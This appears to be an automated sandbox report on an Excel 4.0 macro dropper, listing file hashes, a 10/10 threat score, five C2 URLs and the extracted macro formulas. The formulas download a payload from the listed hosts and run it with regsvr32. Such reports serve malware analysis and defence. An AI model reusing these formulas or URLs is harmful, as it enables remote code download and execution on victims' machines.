General

  • Target

    ac4559cf1fe9b21cd8d32b52220810ff41d879575c113684daaddb9f1fabac04

  • Size

    91KB

  • Sample

    241120-n4vd7swdle

  • MD5

    c02e18cdc8cadb5bf0901cf2329bb500

  • SHA1

    bf8b4401dcd42d4c7420508b970481732c27a32b

  • SHA256

    ac4559cf1fe9b21cd8d32b52220810ff41d879575c113684daaddb9f1fabac04

  • SHA512

    766c90391e423ecfb69b9141ffb96528eeab45cd68fca06024ee1481b110251ce216d99ff168a2c31713e7f1306c6ab3bb8f5f64d32941ff17151502f1c38da8

  • SSDEEP

    1536:RNrCX2N5nyV+ns1BVi/IEh2hx0Lx3bKhllGGx0vKCEjdQjqEk+xX0sw:R142byVEoBo6hKb4llGsQjbxBw

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

https://themillionairesweb.com/wp-admin/MD/

https://akhrailway.com/cgi-bin/b5c9CX4IK2GgN6C/

https://cmbavocat.fr/wp-admin/uKCcU1bqvbSvE/

http://idvlab.com.br/wp-admin/FIWBL/

https://institutionsevigne.org/wp-includes/pvDqUHqjYEqoQ6R/

Attributes
  • formulas

    =FORMULA() =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://themillionairesweb.com/wp-admin/MD/","..\wo1.ocx",0,0) =IF('EFWFSFG'!D15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://akhrailway.com/cgi-bin/b5c9CX4IK2GgN6C/","..\wo1.ocx",0,0)) =IF('EFWFSFG'!D17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://cmbavocat.fr/wp-admin/uKCcU1bqvbSvE/","..\wo1.ocx",0,0)) =IF('EFWFSFG'!D19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://idvlab.com.br/wp-admin/FIWBL/","..\wo1.ocx",0,0)) =IF('EFWFSFG'!D21<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://institutionsevigne.org/wp-includes/pvDqUHqjYEqoQ6R/","..\wo1.ocx",0,0)) =IF('EFWFSFG'!D23<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\wo1.ocx") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

https://themillionairesweb.com/wp-admin/MD/

xlm40.dropper

https://akhrailway.com/cgi-bin/b5c9CX4IK2GgN6C/

xlm40.dropper

https://cmbavocat.fr/wp-admin/uKCcU1bqvbSvE/

xlm40.dropper

http://idvlab.com.br/wp-admin/FIWBL/

xlm40.dropper

https://institutionsevigne.org/wp-includes/pvDqUHqjYEqoQ6R/

Targets

    • Target

      ac4559cf1fe9b21cd8d32b52220810ff41d879575c113684daaddb9f1fabac04

    • Size

      91KB

    • MD5

      c02e18cdc8cadb5bf0901cf2329bb500

    • SHA1

      bf8b4401dcd42d4c7420508b970481732c27a32b

    • SHA256

      ac4559cf1fe9b21cd8d32b52220810ff41d879575c113684daaddb9f1fabac04

    • SHA512

      766c90391e423ecfb69b9141ffb96528eeab45cd68fca06024ee1481b110251ce216d99ff168a2c31713e7f1306c6ab3bb8f5f64d32941ff17151502f1c38da8

    • SSDEEP

      1536:RNrCX2N5nyV+ns1BVi/IEh2hx0Lx3bKhllGGx0vKCEjdQjqEk+xX0sw:R142byVEoBo6hKb4llGsQjbxBw

    Score
    10/10

MITRE ATT&CK Enterprise v15

Tasks